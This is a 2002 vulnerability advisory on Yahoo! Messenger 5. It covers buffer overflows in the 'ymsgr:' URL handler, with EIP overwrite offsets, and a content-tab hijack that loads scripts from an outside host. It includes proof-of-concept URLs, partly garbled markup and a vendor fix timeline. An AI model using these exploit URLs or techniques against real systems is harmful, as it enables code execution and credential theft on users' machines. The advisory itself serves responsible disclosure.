Skip to content

Yahoo Messenger - Multiple Vulnerabilities

Description

At the end of 2001, Yahoo! Instant Messenger (YIM) was estimated by Jupiter Media Metrix to the ad-sponsored choice of some 12 million instant Messaging (IM) Internet users whose numbers are increasing at over 25% per annum, http://www.mediametrix.com.

Media Life, however, estimates the number of global IM users at the end of 2001 to be over 206 million with 32%, or 64 million, using Yahoo! Messenger, http://202.61.120.23/news2002/feb02/feb042_twesmartwednesday.html

Summary
ProductYahoo Messenger
Severity
VendorYahoo
IdentifierN/A
Affected VersionsYahoo! Messenger (5, 0, 0, 1061)
Tested PlatformWindows 2000, Windows XP Professional
Impact

Execute Arbitrary Code.

Detail

[Vulnerability #1] Buffer Overflow

When Yahoo! Messenger (YIM) is installed, it registers its own handler for URLs of the type "ymsgr:". For example, in the Win98 Registry, this handler is HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ymsgr\shell\open\command which has a value for "Default" of "YMSGR.EXE %1".

Thus when any URL beginning with "ymsgr:" (no slashes, no "//") is input into a web browser supported by integrated with YIM, "ymsgr.exe %1" is executed on the complete URL.

With no proper bounds checking in the ymsgr protocol, attackers can overflow the YIM function calls "call", "sendim", "getimv", "chat", "addfriend", "addfiend=" tags.

For example, loading URL "ymsgr:call?f0d1-8-8d84438p=05d?" into a YIM integrated browser will cause ymsgr.exe will be executed and it will then execute the YAHOOMSGR"Call Centre" application and prepare it to dial the phone number and name in the URL.

If we input a string that has more than 260 bytes we will crash YIM. 264 bytes will overwrite the EBP register; four (4) more bytes will overwrite the EIP register. In total, 268 bytes are needed to cause a buffer overflow.

For example, this URL:

ymsgr:call?x

would overwrite both the EBP (Extended Base Pointer) and EIP (Extended Instruction Pointer). The ellipsis, '...' represents an extension to 268 bytes, e.g. 0x61616161, of 'x's. From there, attackers could overwrite the EIP with any location in memory they choose, jump to their exploit code and have the code run under the current user's normal privileges.

The following are susceptible to BOFs (Buffer OverFlows) as well. But this time we need to punch in another 100 bytes:

ymsgr:sendIM?x

ymsgr:chat?x

ymsgr:addyfriend?x

ymsgr:addFriend?x

Another susceptibility is illustrated by "ymsgr:getimv?x" as reported to BugTraq on February 21, 2002 by "Scott Woodward". We include it in here in case anyone wants an example of this particular exploit.

[Vulnerability #2] Yahoo! Instant Messenger (YIM) Hi-Jack 101 (Java; Visual Basic script execution)

URLs beginning with "ymsgr:addview:?" let users add browser-ready Yahoo! content to YIM's "Content Tabs" for viewing in YIM, without a web browser. YIM installs with 4 default pre-installed content tabs: Game, Money, News, Weather, etc.

The following URL is provided to demonstrate this vulnerability. To use it, you must have Yahoo! Messenger (YIM) installed and integrated with a compatible web browser. (We only tested this exploit on Microsoft's Internet Explorer 5.0)= :

ymsgr:addview:http://rd.yahoo.com/messenger/http://hackme.com/cons/servs/infosec/yimvul001/DemHt0.htm

This simple, completely harmless, sample exploit will start up YIM, if not already started, add a new "Content-Tab" called "YIM Cal-Hack" to YIM's current six, then display a dialogue box with one option: "OK", then upon the "YIM Cal-Hack" content, a quick shortcut menu, including a link to this exploit script itself and a link to several of the exploit links used in this vulnerability writeup...;)

To see the contents of DemHt0.htm, simply remove the Yahoo! redirection parts of the exploit URL above or load this URL into any browser: http://hackme.com/cons/servs/infosec/yimvul001/DemHt0.htm

Note, however, that to completely remove the "YIM Cal-Hack" (before the user's next YIM upgrade a minor Windows registry edit is needed: simply exit YIM, "Find" the "ident" and remove the "CustomTab17" entries. It's there that the script writes the tab info and key that it opens upon whenever YIM re-starts.

Note also that DemHt0.htm is not a standard HTML file — though it calls three other standard HTML files. Instead, DemHt0.htm contains only YIM-specific tags. In fact, if you insert the normal HTML opening tags, "<html><head><script>...", the exploit will not work and YIM will simply respond with a dialogue box stating, "Error adding new...". The new format is invalid — as demonstrated by this URL: ymsgr:addview:http://yahoo.com/messenger/http://hackme.com/cons/servs/infosec/yimvul001/DemHt0.not.html

THREAT SIGNIFICANCE

Vulnerability #2 (above) demonstrates how potential attackers could replace or even visually replicate almost any YIM content and insert scripts into their own HTML that makes anything on a YIM users machine. For example, it would not be too difficult to modify the demonstration exploit above to request a YIM user's ID and password and send it to any email address or Internet URL.

Minimum user intervention is required to exploit these vulnerabilities. Modifications of the ymsgr URLs provided about could readily be hidden in HTML pages or emails with text or images enticing YIM users to click on them. Further, scripts could be used to load such ymsgr-exploit URLs into popup-browser-windows that require no direct user intervention.

Given there are now somewhere between 13-65 million Yahoo! Messenger users worldwide (as described in the Summary above), the potential impact of this vulnerability poses a highly significant threat to users who do not soon upgrade their Yahoo! messenger clients.

Proof of Concept

[Vulnerability #2] Yahoo! Instant Messenger (YIM) Hi-Jack 101 (Java; Visual Basic script execution)

ymsgr:addview:http://rd.yahoo.com/messenger/?http://hackme.com/cons/servs/infosec/yimvul001/DemH0.not.html

Content: DemH0.not.html

<name S=%SCAL_test" ><display_map = "http://www.viceconsulting.com/cons/servs/infosec/yimvul001/calendar.bmp" "content_url"="http://www.viceconsulting.com/cons/servs/im"

Vendor Status

Yahoo! was informed of this vulnerability on 05/05/2002. In discussions with Yahoo Security the authors agreed to await Yahoo!'s release of a repaired version of Yahoo! Messenger (YIM). Yahoo! made the repaired version available for download and installation on 24/05/2002 at

http://download.yahoo.com/dl/msgmailer/ymsgr_1065.exe

Notably, Yahoo! removed some functionality from repaired YIM version. Specifically according to Yahoo, the "addview" function (see below) has been removed until Yahoo! can rewrite it and provide sufficient security to prevent exploitation of the Vulnerability #2 above.

Disclosure Timeline
05/05/2002Yahoo! was informed of this vulnerability.
24/05/2002Yahoo! made the repaired version available for download.
Credit

Phuong Nguyen (ECQ)

Appendix

N/A

References

N/A